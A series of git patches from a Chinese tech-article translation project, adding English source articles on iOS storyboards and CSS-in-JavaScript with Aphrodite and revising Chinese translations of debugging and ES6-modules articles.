+#### Why use storyboards?
+
+> A picture is worth a thousand words.
+
+Humans are visual thinkers. The vast majority of information we receive is through our eyes, and our brains are incredibly complex visual pattern matching machines, which help us understand the world around us.
+
+Storyboards give you an overview of a screen in your app, unmatched by code representation, whether it’s XML or plain Swift. When you open up a storyboard, you can see all views, their positions and their hierarchies in a second. For each view, you can see all the constraints that affect it, and how it interacts with other views. The efficiency of transferring information visually can’t be matched with text.
+
+Another benefit of storyboards is that it makes auto layout more intuitive. Auto layout is an inherently visual system. It might be a set of mathematical equations under the hood, but we don’t think like that. We think in terms of “this view needs to be next to this one at all times”. Doing auto layout visually is a natural fit.
+
+![](https://cdn-images-1.medium.com/max/800/1*MS3ALafvQX2fmK-5onF0SQ.png)
+
+Also, doing auto layout in storyboards gives you some compile-time safety. Most missing or ambiguous constraints are caught during the creation of the layout, not when you open the app. This means less time spent on tracking down ambiguous layouts, or finding out why a view is missing from the screen.
+
+#### How you should do it ####
+
+**One storyboard per UIViewController**
+
+![](https://cdn-images-1.medium.com/max/800/1*5MgjKAMD4kH-3clAiaDT2A.png)
+
+You wouldn’t write your whole app inside a single UIViewController. The same goes for storyboards. Each view controller deserves its own storyboard. This has several advantages.
+
+1. **Git conflicts occur only if two developers are working on the same UIViewController in a storyboard at the same time.** In my experience, this doesn’t happen often, and it’s not hard to fix when it does.
+
+2. **The storyboard is no longer slow to load, since it only loads one UIViewController.**
+
+3. **You are free to instantiate any UIViewController whichever way you like, just by getting the initial view controller of a storyboard.** Whether you’re using segues or pushing them through code.
+
+When I’m creating a new screen, my first step is to create a UIViewController. Once I did that, I create a storyboard **with the same name** as the view controller I just created. This lets you do a pretty cool thing: instantiate UIViewControllers in a type safe way, without hard-coded strings.
+
+    let feed = FeedViewController.instance()
+    // `feed` is of type `FeedViewController`
+
+This method works by finding a storyboard with the same name as the class name, and getting the initial view controller from that storyboard.
+
+I know that’s how NIBs are used. But the NIB format is outdated, and some features (like creating UITableViewCells in the actual UIViewController’s nib) are not supported in the .xib editor. I have a feeling that the list of unsupported features will only grow, and that’s why I use storyboards over nibs.
+
+**No segues**
+
+Segues seem cool at first, but as soon as you have to transmit data from one screen to the next, it becomes a pain. You have to store the data in some temporary variable somewhere, and then set that value inside the `prepare(for segue:, sender:)` method.
+
+    class UsersViewController: UIViewController, UITableViewDelegate {
+    
+      private enum SegueIdentifier {
+        static let showUserDetails = "showUserDetails"
+      }
+    
+      var usernames: [String] = ["Marin"]
+    
+      func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
+        usernameToSend = usernames[indexPath.row]
+        performSegue(withIdentifier: SegueIdentifier.showUserDetails, sender: nil)
+      }
+    
+    
+      private var usernameToSend: String?
+    
+      override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
+    
+        switch segue.identifier {
+          case SegueIdentifier.showUserDetails?:
+    
+            guard let usernameToSend = usernameToSend else {
+              assertionFailure("No username provided!")
+              return
+            }
+    
+            let destination = segue.destination as! UserDetailViewController
+            destination.username = usernameToSend
+    
+          default:
+            break
+        }     
+      }
+
+    }
+
+This code has a lot of problems. `prepare(for:sender:)` is not a pure function since it depends on the temporary variable defined above it. Even worse, that variable is optional, and it’s unclear what should happen if it’s nil.
+
+You need to remember to manually set the *usernameToSend* property, which adds mutable state to our code. You also need to cast the segue’s destination to the type you expect. That’s lot of boilerplate and more than one point of failure.
+
+I would much rather have a function that takes a non-optional value, and pushes the next view controller with that value. Simple and easy.
+
+    class UsersViewController: UIViewController, UITableViewDelegate {
+    
+      var usernames: [String] = ["Marin"]
+    
+      func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
+        let username = usernames[indexPath.row]
+        showDetail(withUsername: username)
+      }
+    
+      private func showDetail(withUsername username: String) {
+        let detail = UserDetailViewController.instance()
+        detail.username = username
+        navigationController?.pushViewController(detail, animated: true)
+      }
+
+    }
+
+This code is much safer, more readable and more concise.
+
+**All properties are set in code**
+
+Leave all storyboard values at their defaults. If a label needs to have a different text, or a view needs to have a background color, those things are done in code. This relates especially to all the little checkmarks in the property inspector.
+
+![](https://cdn-images-1.medium.com/max/800/1*QQ6_kcvyx1Z1vHdUYsc77A.png)
+
+The reason is that you don’t want to hard-code fonts, colors and texts. You can have constants for those, and a single place where they are kept, so you have a single place to change when you need to make a design change.
+
+Also, scanning the code for view properties is easier than trying to find which checkmarks are checked in the storyboard.
+
+This means you can build auto layout and views in the storyboard, but [style them in code](https://medium.cobeisfresh.com/composable-type-safe-uiview-styling-with-swift-functions-8be417da947f), which gives you complete freedom to create reusable code and a human-readable change history.
+
+#### What storyboards are for me ####
+
+You might be reading this article and thinking “This guy says storyboards are great, and then says he doesn’t use half of the features!”, and you’re right!
+
+Storyboards do have problems, and these are the ways I avoid those problems. I find storyboards very useful for what I want to do with them: create the view hierarchy and constraints. Nothing more, nothing less.
+
+My point is to not disregard a whole technology because you don’t like one aspect of it. You are free to pick and choose which parts you want to use. **It’s not all or nothing.**
+
+So for those of you who want the benefits or storyboards, but want to minimize the downsides, this is our approach that has worked very well so far. If you have any comments, feel free to leave a response or hit me up on @marinbenc on Twitter.
+
+*If you liked this one, check out some some other articles from my team:*
+
+[![Markdown](http://i4.buimg.com/1949/a68c5bee9aecbe65.png)](https://medium.cobeisfresh.com/how-to-win-a-hackathon-tips-tricks-8cd391e18705)
+
+[![Markdown](http://i4.buimg.com/1949/d5fb464e8b33d195.png)](https://medium.cobeisfresh.com/accessing-types-from-extensions-in-swift-32ca87ec5190)
+
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From d65c6cc1fb9b6a75beb0f558bb076262666830dd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 26 Apr 2017 23:16:25 +0800
Subject: [PATCH 274/638] Create
 css-in-javascript-the-future-of-component-based-styling.md

---
 ...t-the-future-of-component-based-styling.md | 369 ++++++++++++++++++
 1 file changed, 369 insertions(+)
 create mode 100644 TODO/css-in-javascript-the-future-of-component-based-styling.md

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
new file mode 100644
index 00000000000..9da5e81bf28
--- /dev/null
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -0,0 +1,369 @@
+> * 原文地址：[CSS in JavaScript: The future of component-based styling](https://medium.freecodecamp.com/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
+> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# CSS in JavaScript: The future of component-based styling #
+
+![](https://cdn-images-1.medium.com/max/1000/1*yVKDbwtvfoakj3RZ9g8ARQ.png)
+
+Image by [@jonathanzwhite](https://twitter.com/JonathanZWhite)
+
+By adopting inline styles, we can get all of the programmatic affordances of JavaScript.This gives us the benefits of something like a CSS pre-processor (variables, mixins, and functions). It also solves a lot of the problems that CSS has, such as global namespacing and styling conflicts.
+
+For a deep dive into the problems that CSS in JavaScript solves, check out the famous presentation: [React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js). For a case study on the performance improvements you get from Aphrodite, you can read [Inline CSS at Khan Academy: Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm). If you want to learn more about CSS in JavaScript best practices, check out [Airbnb’s styleguide](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
+
+In addition we’ll be using inline JavaScript styles to build components to address some of the fundamentals of design I covered in one of my previous articles: [Before you can master design, you must first master the fundamentals](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda).
+
+### A motivating example ###
+
+Let’s start off with a simple example: creating and styling a button.
+
+Normally the component and its associated styles would go in the same file: `Button` and `ButtonStyles`. This is because they fall under the same concern: the view. However, for this example, I broke up the code into multiple gists to make it more digestible.
+
+Here’s the button component:
+
+```
+...
+
+function Button(props) {
+  return (
+    <input
+      type="button"
+      className={css(styles.button)}
+      value={props.text}
+    />
+  );
+}
+```
+
+This is nothing unexpected — just a stateless React component. Where Aphrodite comes into play is in the `className` property. The function `css` takes in a `styles` object and converts it into css. The `styles` object is created with Aphrodite’s `StyleSheet.create({ ... })` function. You can see the output of `StyleSheet.create({ ... })` with this [Aphrodite playground](https://output.jsbin.com/qoseye?).
+
+**Here is the button stylesheet:**
+
+```
+...
+
+const gradient = 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)';
+
+const styles = StyleSheet.create({
+  button: {
+    background: gradient,
+    borderRadius: '3px',
+    border: 0,
+    color: 'white',
+    height: '48px',
+    textTransform: 'uppercase',
+    padding: '0 25px',
+    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .30)',
+  },
+});
+```
+
+One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low. Properties like `border-radius` become `borderRadius` and values become strings. Pseudo-selectors, media queries, and font definitions all work. In addition, vendor prefixes are added automatically.
+
+**Here is the result:**
+
+![](https://cdn-images-1.medium.com/max/800/1*x1ccRv9UGvcxBvz4TvC4Qg.png)
+
+[One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low.](https://twitter.com/JonathanZWhite)
+
+With this example in mind, **let’s take a look at how we can use Aphrodite to build a basic visual design system**, focusing on the following design fundamentals: typography and spacing.
+
+
+### Fundamental №1 —Typography ###
+
+Let’s start off with typography, a fundamental basis for design. **The first step is to define typography constants**. And unlike Sass or Less, constants for Aphrodite can go in a JavaScript or JSON file.
+
+#### Define typography constants
+
+When creating constants, **use semantic names for your variables**. For example, instead of naming one of your font-sizes `h2`, use a name like `displayLarge` that describes its *role*. Similarly, for font-weights, instead of naming one of your weights `600`, give it a name like `semibold` to describe its *effect*.
+
+```
+export const fontSize = {
+  // heading
+  displayLarge: '32px',
+  displayMedium: '26px',
+  displaySmall: '20px',
+  heading: '18px',
+  subheading: '16px',
+
+  // body
+  body: '17px',
+  caption: '15px',
+};
+
+export const fontWeight = {
+  bold: 700,
+  semibold: 600,
+  normal: 400,
+  light: 200,
+};
+
+export const tagMapping = {
+  h1: 'displayLarge',
+  h2: 'displayMedium',
+  h3: 'displaySmall',
+  h4: 'heading',
+  h5: 'subheading',
+};
+
+export const lineHeight = {
+  // heading
+  displayLarge: '48px',
+  displayMedium: '48px',
+  displaySmall: '24px',
+  heading: '24px',
+  subheading: '24px',
+
+  // body
+  body: '24px',
+  caption: '24px',
+};
+```
+
+It’s important to get the values right for variables like font-sizes and line-heights. This is because they directly affect the vertical rhythm within a design. Vertical rhythm is a concept that helps you achieve consistent spacing between elements.
+
+For more on vertical rhythm, you can read this article: [Why is Vertical Rhythm an Important Typography Practice?](https://zellwk.com/blog/why-vertical-rhythms/)
+
+![](https://cdn-images-1.medium.com/max/800/1*Ehj9XMvQ9wJNhxWNqwXfKw.png)
+
+[Use a calculator to determine line-heights](https://drewish.com/tools/vertical-rhythm/)
+
+There is a science behind choosing the values for your line-heights and font-sizes. We can use mathematic ratios to generate a set of potential sizes candidates. A few weeks ago, I wrote an article detailing the methodology: [Typography can make or break your design: a process for choosing type](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe). For determining font-sizes, you use [Modular Scale](http://www.modularscale.com/). For determining line-heights, you can use this [vertical rhythm calculator](https://drewish.com/tools/vertical-rhythm/).
+
+#### Define a heading component ####
+
+After defining our typography constants, the next step is to create a component to consume the values. **The goal of the component is to enforce consistency in design and implementation for headings across the codebase.**
+
+```
+import React, { PropTypes } from 'react';
+import { StyleSheet, css } from 'aphrodite/no-important';
+import { tagMapping, fontSize, fontWeight, lineHeight } from '../styles/base/typography';
+
+function Heading(props) {
+  const { children, tag: Tag } = props;
+  return <Tag className={css(styles[tagMapping[Tag]])}>{children}</Tag>;
+}
+
+export default Heading;
+
+export const styles = StyleSheet.create({
+  displayLarge: {
+    fontSize: fontSize.displayLarge,
+    fontWeight: fontWeight.bold,
+    lineHeight: lineHeight.displayLarge,
+  },
+  displayMedium: {
+    fontSize: fontSize.displayMedium,
+    fontWeight: fontWeight.normal,
+    lineHeight: lineHeight.displayLarge,
+  },
+  displaySmall: {
+    fontSize: fontSize.displaySmall,
+    fontWeight: fontWeight.bold,
+    lineHeight: lineHeight.displaySmall,
+  },
+  heading: {
+    fontSize: fontSize.heading,
+    fontWeight: fontWeight.bold,
+    lineHeight: lineHeight.heading,
+  },
+  subheading: {
+    fontSize: fontSize.subheading,
+    fontWeight: fontWeight.bold,
+    lineHeight: lineHeight.subheading,
+  },
+ }); 
+```
+
+The `Heading` component is a stateless function that takes in a tag as a property and returns the tag with its associated style. This is possible because we defined the tag mappings earlier in the constants file.
+
+```
+...
+export const tagMapping = {
+  h1: 'displayLarge',
+  h2: 'displayMedium',
+  h3: 'displaySmall',
+  h4: 'heading',
+  h5: 'subheading',
+};
+```
+
+At the bottom of the component file, we define our `styles` object. This is where we use the typography constants.
+
+```
+export const styles = StyleSheet.create({
+  displayLarge: {
+    fontSize: fontSize.displayLarge,
+    fontWeight: fontWeight.bold,
+    lineHeight: lineHeight.displayLarge,
+  },
+  
+  ...
+});
+```
+
+And this is how the `Heading` component would be used:
+
+```
+function Parent() {
+  return (
+    <Heading tag="h2">Hello World</Heading>
+  );
+}
+```
+
+With this approach, **we reduce unexpected variability in our type system**. We avoid the pitfall of a hundred different font sizes by removing the need for global styles and standardizing headings across the codebase. In addition, this approach we took to building the `Heading` component can be applied to building a `Text` component for body copy.
+
+### Fundamental №2 — Spacing ###
+
+**Spacing controls both vertical and horizontal rhythm in design**. That makes spacing pivotal to establishing a visual design system. Just like in the typography section, the first step to address spacing is to define spacing constants.
+
+#### Define spacing constants ###
+
+When defining spacing constants for the margins between elements, we can adopt a mathematic approach. Using a `spacingFactor` constant, we can generate a set of distances based on a common factor. **This approach ensures that we have logical and consistent spacing between elements.**
+
+```
+const spacingFactor = 8;
+export const spacing = {
+  space0: `${spacingFactor / 2}px`,  // 4
+  space1: `${spacingFactor}px`,      // 8
+  space2: `${spacingFactor * 2}px`,  // 16
+  space3: `${spacingFactor * 3}px`,  // 24
+  space4: `${spacingFactor * 4}px`,  // 32
+  space5: `${spacingFactor * 5}px`,  // 40
+  space6: `${spacingFactor * 6}px`,  // 48
+
+  space8: `${spacingFactor * 8}px`,  // 64
+  space9: `${spacingFactor * 9}px`,  // 72
+  space13: `${spacingFactor * 13}px`, // 104
+};
+```
+
+The example above uses a linear scale, one to thirteen. However, experiment with different scales and ratios. Designs require different scales based on their purpose, their audience, and the devices they target. As an example,** here are the first six computed distances using the golden ratio** with a `spacingFactor` of eight.
+
+    Golden Ratio (1:1.618)
+
+    8.0 x (1.618 ^ 0) = 8.000
+    8.0 x (1.618 ^ 1) = 12.94
+    8.0 x (1.618 ^ 2) = 20.94
+    8.0 x (1.618 ^ 3) = 33.89
+    8.0 x (1.618 ^ 4) = 54.82
+    8.0 x (1.618 ^ 5) = 88.71
+
+This is what the spacing scale would look like in code. I added a helper function to handle the computation and round off the output to its nearest pixel value.
+
+```
+const spacingFactor = 8;
+export const spacing = {
+  space0: `${computeGoldenRatio(spacingFactor, 0)}px`,  // 8
+  space1: `${computeGoldenRatio(spacingFactor, 1)}px`,  // 13
+  space2: `${computeGoldenRatio(spacingFactor, 2)}px`,  // 21
+  space3: `${computeGoldenRatio(spacingFactor, 3)}px`,  // 34
+  space4: `${computeGoldenRatio(spacingFactor, 4)}px`,  // 55
+  space5: `${computeGoldenRatio(spacingFactor, 5)}px`,  // 89
+};
+
+function computeGoldenRatio(spacingFactor, exp) {
+  return Math.round(spacingFactor * Math.pow(1.618, exp));
+}
+```
+
+After defining our spacing constants, we can use them to add margins to elements in our design. **One approach we can take is to import the spacing constants and consume them in components**.
+
+For example, let’s add a `marginBottom` to the `Button` component.
+
+```
+import { spacing } from '../styles/base/spacing';
+
+...
+
+const styles = StyleSheet.create({
+  button: {
+    marginBottom: spacing.space4, // adding margin using spacing constant
+    ...
+  },
+});
+```
+
+This works in most scenarios. However, what happens if we want to change the `marginBottom` property of the button based on where the button is place?
+
+One way to achieve variable margins is to override the margin style from the consuming parent component. An alternative approach is to **create a **`Spacing`**component to control the vertical margins on elements**.
+
+```
+import React, { PropTypes } from 'react';
+import { spacing } from '../../base/spacing';
+
+function getSpacingSize(size) {
+  return `space${size}`;
+}
+
+function Spacing(props) {
+  return (
+    <div style={{ marginBottom: spacing[getSpacingSize(props.size)] }}>
+      {props.children}
+    </div>
+  );
+}
+
+export default Spacing;
+```
+
+Using this approach, we can remove the responsibility of setting margins out of the child component and into the parent component. **This way, the child component becomes layout agnostic, not requiring any knowledge of where to place itself in relation to other elements.**
+
+This works because components like buttons, inputs, and cards may need variable margins. For example, a button in a form may need larger margins than a button in a navigation bar. The caveat is that if a component always has consistent margins, then it would make more sense to handle margins within the component.
+
+Also you may have noticed that the examples only use `marginBottom`. This is because **defining all your vertical margins in one direction allows you avoid collapsing margins and keep track of the vertical rhythm of your design**. You can read more on this in Harry Robert’s article, [Single-direction margin declarations](https://csswizardry.com/2012/06/single-direction-margin-declarations/).
+
+On a final note, you can also use the spacing constants you defined as padding.
+
+```
+import React, { PropTypes } from 'react';
+import { StyleSheet, css } from 'aphrodite/no-important';
+import { spacing } from '../../styles/base/spacing';
+
+function Card(props) {
+  return (
+    <div className={css(styles.card)}>
+      {props.children}
+    </div>
+  );
+}
+
+export default Card;
+
+export const styles = StyleSheet.create({
+  card: {
+    padding: spacing.space4}, // using spacing constants as padding
+    
+    background: 'rgba(255, 255, 255, 1.0)',
+    boxShadow: '0 3px 17px 2px rgba(0, 0, 0, .05)',
+    borderRadius: '3px',
+  },
+});
+```
+
+By using using the same spacing constants for both margins and padding, you can achieve more visual consistency in your design.
+
+Here’s what the result might look like:
+
+![](https://cdn-images-1.medium.com/max/800/1*oDkbVmgCJ4ss5fuRNvzoUg.png)
+
+[By using spacing constants for your margins and padding, you can achieve more visual consistency.](https://twitter.com/JonathanZWhite)
+
+Now that you have a grasp of CSS in JavaScript, go out and experiment. Try incorporating inline JavaScript styles into your next project. I think **you’ll appreciate being able to work in a single context to handle all of your styling and view concerns**.
+
+On the topic of CSS and JavaScript, what are some new developments that you’re excited about? Personally I’m excited about async/await. Leave me a note or send me a [tweet](https://twitter.com/jonathanzwhite) on Twitter.
+
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
+
+*P.S. If you enjoyed this article, it would mean a lot if you clicked the 💚 and shared with friends.*
+
+[![](https://cdn-images-1.medium.com/max/600/1*mxQhZLqG7l5dMLvxYAklgw.png)](http://mrwhite.space/signup)
+
+[![](https://cdn-images-1.medium.com/max/600/1*UOsjAdUZ9O0QSyfXOpQPbA.png)](https://twitter.com/JonathanZWhite)
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From e378240abe0d8e1c7be8382330eca708f72993e8 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 27 Apr 2017 08:34:14 +0800
Subject: [PATCH 275/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index ecbda059dc2..0c8afa5cdbe 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -12,12 +12,12 @@
 
 #### 隔离问题 ####
 
-隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人也为其提供过代码，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们逐步剥离与问题无关的部分以便我们可以把注意力放在解决方案上。
+隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们逐步剥离与问题无关的部分以便我们可以把注意力放在解决方案上。
 
 隔离问题的好处包括但不限于以下几条：
 
 - 能够弄清楚问题的根本原因是否是我们想的那样，还是存在其它的冲突。
-- 对于时序任务，能判断是否存在竞争状态。
+- 对于时序任务，能判断是否存在时序紊乱。
 - 严格审查我们的代码是否还能够更加精简，这样既能帮助我们写代码也能帮助我们维护代码。
 - 解开纠缠在一起的代码，以观察到底是只有一个问题还是存在更多的问题。
 
@@ -27,11 +27,11 @@
 
 你可以在你代码中写上 `debugger;`，这样你可以看到当时这一小块代码做了什么。
 
-你在 Chrome 开发者工具中还可以做到更进一步，单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。
+你还可以在 Chrome 开发者工具中进一步进行调试，单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。
 
 ![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)
 
-古老，好用的 `console.log` 是一种形式的隔离。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
+古老，好用的 `console.log` 另一种隔离的方法。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
 
 `console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以把一个对象的属性以可交互的形式展示出来。
 
@@ -45,7 +45,7 @@
 
 其实我们或多或少都在这么做。当我们对一个工具越来越熟练时，我们会在没有对设想的情况进行测试的情况下写越来越多的代码。但是当你刚开始用一个语法或技术时，你需要放慢速度并且非常谨慎。你将能越来越快地处理自己无意间造成的错误。其实，当你弄出了一个问题的时候，一次调试一个问题可能会看起来慢一些，但其实要找出哪里发生了变化以及问题的所在是没法快速解决的。我说以上这些话是想告诉你：欲速则不达。
 
-**你还记得小时候父母告诉你的话吗？“如果你迷路了，待在原地别动。“** 至少我的父母这么说了。这么说的原因是如果他们在到处找我，而我也在到处跑着找他们的话，我们将更难碰到一起。代码也是这样的。你每次动的代码越少就越好，你持续返回的结果越多，就越容易找到问题所在。所以当你在调试时，请尽量不要安装任何东西或者添加新的依赖。如果本应该返回一个静态结果的地方每次都出现不同的错误，你就得特别注意了！
+**你还记得小时候父母告诉你的话吗？“如果你迷路了，待在原地别动。“** 至少我的父母这么说了。这么说的原因是如果他们在到处找我，而我也在到处跑着找他们的话，我们将更难碰到一起。代码也是这样的。你每次动的代码越少就越好，你返回一致的结果越多，就越容易找到问题所在。所以当你在调试时，请尽量不要安装任何东西或者添加新的依赖。如果本应该返回一个静态结果的地方每次都出现不同的错误，你就得特别注意了！
 
 ### 选用优秀的工具 ###
 
@@ -53,7 +53,7 @@
 
 #### 代码高亮 ####
 
-当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我个人倾向于使用黑色的主题，我的所有代码都会被渲染成明亮的颜色，这样我就可以很轻松地找到错误了。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。
+当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我通常使用深色主题，当有语法错误时，深色主题会用较亮的颜色显示我的代码，使我能轻松快速地找到错误。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。
 
 #### 使用 Lint 工具 ####
 
@@ -68,7 +68,7 @@
 
 #### 浏览器插件 ####
 
-插件是真的超级棒，你可以轻松地启用或禁用它们。并且它们能在特定需求中发挥重要的作用。如果你使用一些特定的框架或类库工作，使用它们的开发者工具插件将会带给你无与伦比的便利。不过请注意，插件不仅会降低浏览器的速度，它们也有权限执行代码。因此在你使用之前，请先了解一下插件的作者、评价及背景。总之，下面是一些我最喜欢的插件：
+插件是真的超级棒，你可以轻松地启用或禁用它们。并且它们能在特定需求中发挥重要的作用。如果你使用一些特定的框架或类库工作，使用它们的开发者工具插件将会带给你无与伦比的便利。不过请注意，插件不仅会降低浏览器的速度，它们也有权限执行脚本。因此在你使用之前，请先了解一下插件的作者、评价及背景。总之，下面是一些我最喜欢的插件：
 
 - Deque Systems 提供的 [aXe](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd)，是一款优秀的可行性分析插件。
 - 如果你工作中使用 React，[React DevTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) 是你必不可少的工具，你可以通过它观察虚拟 DOM。
@@ -92,7 +92,7 @@
 
 - [What input](https://ten1seven.github.io/what-input/) 是一个能跟踪当前输入（鼠标、键盘、触摸）与当前信息的实用工具。（感谢 Marcy Sutton 提供了这个便捷的工具）
 - 如果你做的是响应式开发，或者你得在无数种设备上进行检查，那么 [Ghostlabapp](https://www.vanamco.com/ghostlab/) 是个挺适合你的时髦工具。它为你提供了同步移动 web 开发、测试与检查。
-- [Eruda 是个很棒的工具](http://eruda.liriliri.io/)，它可以帮助我们在移动设备上进行调试。我很喜欢它，因为它进一步提供了一个模拟器，还为你准备了控制台和真实的开发者工具，让你更容易理解。
+- [Eruda 是个很棒的工具](http://eruda.liriliri.io/)，它可以帮助我们在移动设备上进行调试。我很喜欢它，因为它不仅是一个模拟器，还为你准备了控制台和真实的开发者工具，让你更容易理解。
 
 ![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png)
 

From c7c4a143a0290ad3c283acc18a68e92e33d4f102 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 27 Apr 2017 08:46:33 +0800
Subject: [PATCH 276/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...browsers-is-it-time-to-rethink-bundling.md | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index c36bb6bbcc2..d5c2d5bed5e 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Stefan Judis](https://www.contentful.com/about-us/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD),[yzgyyang](https://github.com/yzgyyang)
 
 #  ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？  #
 
@@ -10,9 +10,9 @@
 
 最近一段日子，编写高效的 JavaScript 应用变得越来越复杂。早在几年前，大家都还使用脚本连接来减少 HTTP 请求数；后来有了压缩工具，人们为了压缩代码而缩短变量名，甚至连代码的最后一字节都要省出来。
 
-今天，我们有了  [tree shaking](https://blog.engineyard.com/2016/tree-shaking)  和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，[加快交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始移植一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。
+今天，我们有了 [tree shaking](https://blog.engineyard.com/2016/tree-shaking) 和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，[加快交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始转译一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。
 
